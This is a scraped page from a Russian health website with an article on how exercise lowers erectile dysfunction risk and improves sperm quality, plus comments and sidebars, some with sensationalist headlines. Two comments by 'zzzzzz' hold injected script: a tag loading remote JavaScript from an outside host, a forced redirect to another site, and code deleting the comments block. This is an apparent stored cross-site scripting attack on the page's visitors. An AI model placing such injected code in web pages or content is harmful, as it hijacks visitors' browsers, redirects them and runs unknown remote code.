Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Упражнения для секса  >>  Упражнения для секса
 
Обратная связь
 

Упражнения для секса

Размер шрифта
28 февраля 2014 00:00
  • google_analytics: false
  • Нравится

Считаете, что вам незачем заниматься спортом? Откроем вам тайну: физические упражнения не только благоприятно влияют на здоровье, но и улучшают сексуальную жизнь!

Упражнения для секса

Снижение риска эректильной дисфункции

Положительным влиянием спорта на сексуальное здоровье считается снижение риска эректильной дисфункции. По словам доктора Джорджа Чаварро из Гарвардской школы общественного здоровья, физические упражнения способствуют улучшению тока крови в половом члене.

Исследование, проведенное в Гарварде с участием более чем 31 000 мужчин, показало, что физически активные мужчины старше 50 лет гораздо реже страдали импотенцией, чем их равнодушные к спорту ровесники. Также спортсмены могли похвастаться более стойкой эрекцией. Было выявлено, что чем больше мужчина занимается спортом, тем лучше его успехи в постели.

Тем не менее, даже такие незначительные нагрузки, как получасовые прогулки в быстром темпе по вечерам несколько раз в неделю, снижают риск эректильной дисфункции. Согласно некоторым исследованиям, можно даже избавиться от уже имеющейся импотенции, занимаясь спортом.

Немаловажно, что физически активные мужчины значительно реже домоседов страдают ожирением, которое является риском развития эректильной дисфункции.

В исследовании, опубликованном в «Журнале урологии», было выяснено, что физические упражнения вдвое снижают вероятность заболеваний мочеполовой системы у мужчин.

Спорт благоприятно сказывается и на течении доброкачественной гиперплазии предстательной железы. Для получения первых результатов достаточно заниматься по 30 минут несколько раз в неделю. Для удобства можно разбить занятия на три десятиминутных интервала.

Улучшение состава спермы

Если вы планируете когда-либо иметь детей, то загляните в «Британский журнал спортивной медицины»! Там были опубликованы данные о том, что мужчины, занимающиеся спортом различной степени интенсивности не менее 15 часов в неделю, могут похвастаться лучшими показателями спермограммы, чем любители посидеть на диване.

Тем, кто поднимает пульт от телевизора чаще, чем гантели, следует знать, что мужчины, смотрящие телевизор более 20 часов в неделю, имеют гораздо меньшее количество сперматозоидов, чем те, кто отказался от телевизора.

Всем в зал!

Бесспорно, в постели спортивные мужчины имеют явное преимущество. Им без труда дается интенсивная работа мышц во время секса. Если вы не ходите в спортзал регулярно и совсем не качаете пресс, то вы можете чувствовать боли в мышцах передней брюшной стенки и бедрах после секса. Если вы поклонник миссионерской позиции, то после бурной ночи мышцы груди также не скажут вам спасибо.

Физические упражнения придают мужчинам уверенность в спальне и вне ее, что также благоприятно сказывается на сексе. Когда вы в хорошей физической форме, вы спокойны и не волнуетесь о своем внешнем виде без одежды, поэтому вам гораздо легче расслабиться и получать удовольствие.

Полезнее всего для сексуальной жизни спортивный режим, который включает силовые нагрузки, кардиоупражнения и растяжку.

Читайте больше о мужском здоровье и сексе в нашем специальном проекте «Женское здоровье».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

30 апреля 2014 в 03:27

Цитировать   |   Пожаловаться

Для того, чтобы сохранить здоровье, мужчине необходимо соблюдать некоторые рекомендации. К ним относятся: отказ от вредных привычек, избегание застоя крови в малом тазу, стрессов и перегревания половых органов, упорядоченная половая жизнь. Важно также скорректировать диету и употреблять в пищу продукты, богатые цинком и микроэлементами (тыквенные семечки, орехи, морепродукты). Если же вы вдруг столкнулись с какими-либо проблемами, не бойтесь проконсультироваться с врачом. 
Леонтьева Лидия Алексеевна высшая категория, опыт работы 32 года, врач терапевт сети клиник НИАРМЕДИК

2 - zzzzzz

30 июня 2015 в 18:46

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:44

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
В новый год – с новым весом!   В лабораториях научились выращивать настоящие половые члены?   Хотите бросить курить или заставить мужа бросить? Больше секса!   Гормон секса не даст вам наесться!  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 05 июля 2013Вы не виноваты в своем лишнем весе! Еда всего лишь одна из причин ожирения! Какая же главная?
 
28 июня 2013Хотите похудеть – пейте таблетки от эректильной дисфункции! 11 июня 2013Для похудения больше не нужна операция! Новый метод лечения делает потерю веса плевым делом
 

Слайдшоу

1
Чем полезен секс?
Проблемы, с которыми справится секс. Часть 4
Привычки, котрые сделают вас толстой в Новом году

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.